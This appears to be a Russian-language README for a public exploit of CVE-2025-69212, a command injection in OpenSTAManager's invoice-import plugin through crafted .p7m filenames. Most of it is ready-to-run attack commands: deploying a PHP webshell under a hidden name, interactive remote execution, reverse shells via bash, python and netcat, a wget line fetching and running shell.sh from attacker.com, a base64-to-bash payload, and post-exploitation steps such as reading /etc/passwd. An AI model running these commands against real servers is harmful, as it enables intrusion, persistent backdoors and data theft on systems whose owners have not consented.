// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

# Вход с учетными данными
python3 exploit.py -t http://target.com -u admin -p secret --check

# Использование существующей сессионной cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

# Автоопределение плагина и проверка уязвимости
python3 exploit.py -t http://target.com -u admin -p secret --check

# С известными ID модуля/плагина
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

# Развернуть вебшелл в директорию по умолчанию (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Пользовательская директория и имя файла
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

# Развернуть вебшелл + интерактивную оболочку
python3 exploit.py -t http://target.com -u admin -p secret --rce

# С уже существующим вебшеллом от предыдущего запуска
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

# Обратная оболочка bash (по умолчанию, очень надежна)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# Обратная оболочка Python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# Netcat с mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# Netcat с флагом -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

# Выполнить команду (без возврата вывода)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# Загрузить и выполнить пейлоад
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

# Через прокси Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# С задержкой запроса (2 секунды)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# Пропустить проверку SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k

Цель:
  -t, --target           Базовый URL цели

Аутентификация:
  -u, --user             Имя пользователя для входа
  -p, --password         Пароль для входа
  -c, --cookie           Существующее значение PHPSESSID

Действия:
  --check                Проверить, уязвима ли цель
  --webshell             Развернуть PHP-вебшелл
  --rce                  Интерактивная оболочка через вебшелл
  --reverse-shell        Обратная оболочка (LHOST LPORT)
  --cmd COMMAND          Слепое выполнение команды

Параметры оболочки:
  --shell-dir DIR        Директория записи вебшелла (по умолчанию: files)
  --shell-name NAME      Пользовательское имя файла вебшелла
  --method METHOD        Метод обратной оболочки: bash, python, nc, nc-e

Определение плагина:
  --module-id ID         ID модуля OpenSTAManager
  --plugin-id ID         ID плагина importFE_ZIP

Сеть:
  --proxy URL            URL HTTP-прокси
  -k, --no-ssl-verify    Отключить проверку SSL
  --delay SECONDS        Задержка между запросами

invoice.p7m";INJECTED_COMMAND;echo ".p7m

openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

Загрузка ZIP через плагин importFE_ZIP
    └── actions.php отправляет обработчику плагина
        └── ZipArchive::extractTo() извлекает файлы
            └── Итерирует .p7m-файлы
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── Оболочка интерпретирует внедренные команды

1. --check             → Подтверждение RCE через файл-маркер
2. --webshell          → Размещение PHP-шелла в директории files/
3. --rce               → Интерактивное выполнение команд
4. Разведка           → id, cat /etc/passwd, ifconfig
5. Перемещение        → Обратная оболочка к атакующему, пост-эксплуатация